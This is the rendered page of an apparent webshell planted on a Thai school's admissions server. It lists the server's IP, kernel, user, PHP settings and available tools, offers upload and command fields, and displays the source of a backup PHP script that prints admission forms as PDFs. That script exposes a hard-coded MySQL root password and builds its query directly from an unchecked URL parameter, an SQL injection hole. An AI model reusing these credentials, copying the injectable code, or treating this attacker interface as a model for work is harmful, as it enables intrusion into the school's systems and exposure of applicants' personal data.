403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/admissions3/regis4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/admissions3/regis4/printp.php.bak
<html>
<head>
<title>klw</title>
</head>
<body>

<?php
$objConnect = mysql_connect("localhost","root","klw3322") or die("Error Connect to Database");
$objDB = mysql_select_db("jorjae_jorjaedb");
mysql_query("SET character_set_results=utf8");
mysql_query("SET character_set_results=tis620");
mysql_query("SET character_set_client=tis620");
mysql_query("SET character_set_connection=tis620");
$strSQL = "SELECT * FROM member where id='$_GET[id]'";
$objQuery = mysql_query($strSQL);
$resultData = array();
for ($i=0;$i<mysql_num_rows($objQuery);$i++) {
	$result = mysql_fetch_array($objQuery);
	array_push($resultData,$result);
}
//************************//


$crsql="SELECT count(idstudent) FROM member";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$countdat=$dcrd[0];



	require('fpdf.php');

	define('FPDF_FONTPATH','font/');

	$pdf=new FPDF( 'P' , 'mm' , 'A4' );
	$pdf->AddPage();
	$pdf->AddFont('angsa','','angsa.php');
	$pdf->SetFont('angsa','',20);
	
	//$pdf->Text( 45 , 42 , iconv( 'UTF-8','TIS-620','1.(....) โรงเรียนทั่วไปสอบคัดเลือก'),0,1,"C");
	//$pdf->Text( 45 , 48 , iconv( 'UTF-8','TIS-620','2.(....) ความสามารถพิเศษ'),0,1,"C");
	//$pdf->Text( 45 , 54 , iconv( 'UTF-8','TIS-620','3.(....) เงื่อนไขพิเศษ'),0,1,"C");
	$pdf->Text( 35 , 42 , iconv( 'UTF-8','TIS-620','1. ประเภทความสามารถพิเศษ'),0,1,"C");
	//$pdf->Text( 35 , 52 , iconv( 'UTF-8','TIS-620','2.(....) ห้องเรียนพิเศษภาษา'),0,1,"C");

	//$pdf->Text(92,42,$result["idtpy_name"],1);
	
	
	$pdf->AddFont('angsa','','angsa.php');
	$pdf->SetFont('angsa','',16);
	$pdf->Image('images/head_02.GIF',90,3,25,25,'','http://gpa.klws.ac.th',"C");
	$pdf->Image('images/pic.PNG',180,12,25,30,'','http://gpa.klws.ac.th');
	$pdf->Image('images/li.PNG',10,5,5,290,'','http://gpa.klws.ac.th');
	$pdf->Text( 185 , 25 , iconv( 'UTF-8','TIS-620','ติดรูป 1x1'),0,1,"C");
	
	$pdf->AddFont('angsa','','angsa.php');
	$pdf->SetFont('angsa','',16);
	$pdf->Text( 15 , 10 , iconv( 'UTF-8','TIS-620','เลขที่เอกสาร'),0,1,"C");
	$pdf->Text( 120 , 10 , iconv( 'UTF-8','TIS-620','ใบสมัครเข้าศึกษาต่อโรงเรียนกันทรลักษ์วิทยา'),0,1,"C");
	$pdf->Text( 35 , 60 , iconv( 'UTF-8','TIS-620','ชื่อ'),0,1,"C");
	$pdf->Text( 100 , 60 , iconv( 'UTF-8','TIS-620','นามสกุล'),0,1,"C");
	$pdf->Text( 35 , 98 , iconv( 'UTF-8','TIS-620','บิดา'),0,1,"C");
	$pdf->Text( 110 , 98 , iconv( 'UTF-8','TIS-620','อาชีพ'),0,1,"C");
	$pdf->Text( 35 , 105 , iconv( 'UTF-8','TIS-620','มารดา'),0,1,"C");
	$pdf->Text( 110 , 105 , iconv( 'UTF-8','TIS-620','อาชีพ'),0,1,"C");
	$pdf->Text( 109 , 150 , iconv( 'UTF-8','TIS-620','ลงชื่อ............................................ผู้สมัคร'),0,1,"C");
	$pdf->Text( 35 , 150 , iconv( 'UTF-8','TIS-620','ลงชื่อ............................................ผู้ปกครอง'),0,1,"C");
	$pdf->Text( 85 , 250 , iconv( 'UTF-8','TIS-620','ลงชื่อ............................................ผู้รับสมัคร'),0,1,"C");
	$pdf->Text( 40 , 160 , iconv( 'UTF-8','TIS-620','(............................................)'),0,1,"C");
	$pdf->Text( 115 , 160 , iconv( 'UTF-8','TIS-620','(............................................)'),0,1,"C");
	
	$pdf->Text( 30 , 180 , iconv( 'UTF-8','TIS-620','................................................................................................................................................................................'),0,1,"C");
	$pdf->AddFont('angsa','','angsa.php');
	$pdf->SetFont('angsa','',20);
	//$pdf->Text( 30 , 42 , iconv( 'UTF-8','TIS-620','................................................................................................................................................................................'),0,1,"C");
	$pdf->Text( 120, 20 , iconv( 'UTF-8','TIS-620','สมัครภายในวันที่'),0,1,"C");
	$pdf->SetFont('angsa','U');
	$pdf->Text(158,20,$result["signup"],1);
	$pdf->AddFont('angsa','','angsa.php');
	$pdf->SetFont('angsa','',16);
	$pdf->Text( 90 , 262 , iconv( 'UTF-8','TIS-620','วันที่......../ มีนาคม /2561'),0,1,"C");
	$pdf->Text( 35 , 68 , iconv( 'UTF-8','TIS-620','เลขประชาชน'),0,1,"C");
	
	$pdf->Text( 95 , 68 , iconv( 'UTF-8','TIS-620','วัน/เดือน/ปี เกิด'),0,1,"C");
	
	
	//$pdf->Text( 170 , 68 , iconv( 'UTF-8','TIS-620','ศาสนา'),0,1,"C");
	$pdf->Text( 35 , 75 , iconv( 'UTF-8','TIS-620','หมู่โลหิต'),0,1,"C");
	$pdf->Text( 65 , 75 , iconv( 'UTF-8','TIS-620','บ้านเลขที่'),0,1,"C");
	$pdf->Text( 120 , 75 , iconv( 'UTF-8','TIS-620','หมู่ที่'),0,1,"C");
	$pdf->Text( 140 , 75 , iconv( 'UTF-8','TIS-620','ตำบล'),0,1,"C");
	$pdf->Text( 35 , 82 , iconv( 'UTF-8','TIS-620','อำเภอ'),0,1,"C");
	$pdf->Text( 95 , 82 , iconv( 'UTF-8','TIS-620','จังหวัด'),0,1,"C");
	$pdf->Text( 150 , 82 , iconv( 'UTF-8','TIS-620','โทรศัพท์'),0,1,"C");
	$pdf->Text( 35 , 198 , iconv( 'UTF-8','TIS-620','(.....)ทะเบียนบ้านบิดา/มารดา'),0,1,"C");
	$pdf->Text( 99 , 198 , iconv( 'UTF-8','TIS-620','(.....)บัตรประชาชนบิดา/มารดา'),0,1,"C");
	$pdf->Text( 35 , 205 , iconv( 'UTF-8','TIS-620','(.....)บัตรประชาชนผู้สมัคร'),0,1,"C");
	$pdf->Text( 99 , 205 , iconv( 'UTF-8','TIS-620','(.....)ทะเบียนบ้านผู้สมัคร'),0,1,"C");
	$pdf->Text( 35 , 212 , iconv( 'UTF-8','TIS-620','(.....)ใบปพ.7 (กรณียังไม่จบการศึกษา)'),0,1,"C");
	$pdf->Text( 99 , 212 , iconv( 'UTF-8','TIS-620','(.....)ระเบียนแสดงผลการเรียน ปพ1.ต (กรณีจบการศึกษา)'),0,1,"C");
	$pdf->Text( 35 , 219 , iconv( 'UTF-8','TIS-620','(.....)ผลการสอบ O-NET'),0,1,"C");
	$pdf->Text( 99 , 219 , iconv( 'UTF-8','TIS-620','(.....)อื่น...........................................................'),0,1,"C");
	$pdf->Text( 35 , 122 , iconv( 'UTF-8','TIS-620','1 กำลังศึกษา/จบจากโรงเรียน'),0,1,"C");
	$pdf->Text( 160 , 122 , iconv( 'UTF-8','TIS-620','สถานะ'),0,1,"C");
	$pdf->Text( 35 , 130 , iconv( 'UTF-8','TIS-620','2 มีผลการเรียนเฉลี่ยสะสม...............................'),0,1,"C");
	$pdf->Text( 35 , 138 , iconv( 'UTF-8','TIS-620','3 ความสามารถพิเศษ......................................................................................'),0,1,"C");
	$pdf->SetFont('angsa','U');
	//$pdf->Text( 32 , 52 , iconv( 'UTF-8','TIS-620','ข้อมูลทั่วไปของนักเรียน'),0,1,"C");
	$pdf->Text(40,10,$result["id"],1);
	$pdf->Text(120,68,$result["bird"],1);
	$pdf->Text(85,75,$result["homeid"],1);
	$pdf->Text(130,75,$result["muid"],1);
	$pdf->Text(150,75,$result["tumbol"],1);
	$pdf->Text(45,82,$result["ampher"],1);
	$pdf->Text(110,82,$result["distric"],1);
	$pdf->Text(170,82,$result["phone"],1);
	$pdf->Text(45,60,$result["prefix"],1);
	$pdf->Text(58,60,$result["name"],1);
	$pdf->Text(120,60,$result["surname"],1);
	$pdf->Text(65,68,$result["pin"],1);
	$pdf->Text(52,75,$result["brood"],1);
	$pdf->Text(171,122,$result["sssname"],1);
	$pdf->Text(80,122,$result["schoolout"],1);



	
	$pdf->Text( 25 , 90 , iconv( 'UTF-8','TIS-620','ข้อมูลทั่วไปผู้ปกครอง'),0,1,"C");
	$pdf->Text( 25 , 113 , iconv( 'UTF-8','TIS-620','ข้อมูลด้านการศึกษา'),0,1,"C");
	$pdf->Text(25,33,iconv( 'UTF-8','TIS-620','เลือกประเภทที่สมัครเรียนระดับชั้น ม.1'),0,1,"C");
	
	$pdf->Text(45,98,$result["father"],1);
	$pdf->Text(120,98,$result["fatherw"],1);
	$pdf->Text(45,105,$result["mather"],1);
	$pdf->Text(120,105,$result["matherw"],1);
	$pdf->Text( 95 , 190 , iconv( 'UTF-8','TIS-620','สำหรับเจ้าหน้าที่รับสมัคร'),0,1,"C");
	$pdf->Text( 35 , 190 , iconv( 'UTF-8','TIS-620','เอกสารสำเนาพร้อมฉบับจริง'),0,1,"C");
	$pdf->Text( 35 , 230 , iconv( 'UTF-8','TIS-620','เลขที่นั่่งสอบ'),0,1,"C");
	$pdf->Text( 55 , 230 , iconv( 'UTF-8','TIS-620','....................'),0,1,"C");
	$pdf->Text( 90 , 230 , iconv( 'UTF-8','TIS-620','ห้องสอบที่'),0,1,"C");
	$pdf->Text( 105 , 230 , iconv( 'UTF-8','TIS-620','....................'),0,1,"C");
	$pdf->Text( 120 , 230 , iconv( 'UTF-8','TIS-620','ห้อง'),0,1,"C");
	$pdf->Text( 125 , 230 , iconv( 'UTF-8','TIS-620','....................'),0,1,"C");
	$pdf->Text( 10 , 280 , iconv( 'UTF-8','TIS-620','เอกสารนี้ต้องนำไปยื่นสมัครจริงพร้อมกับบัตรประจำตัวผู้สมัครสอบตามวันเวลาที่ระบุด้านบน'),0,1,"C");
	$pdf->Text( 10 , 288 , iconv( 'UTF-8','TIS-620','และจะสมบูรณ์เมื่อได้รับเลขที่นั่งสอบ,ห้องสอบ และได้ลงนามจากเจ้าหน้าที่รับสมัคร'),0,1,"C");
	$pdf->Output("MyPDF/MyPDF.pdf","F");
?>
	PDF Click <a href="MyPDF/MyPDF.pdf">here</a> to Download
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit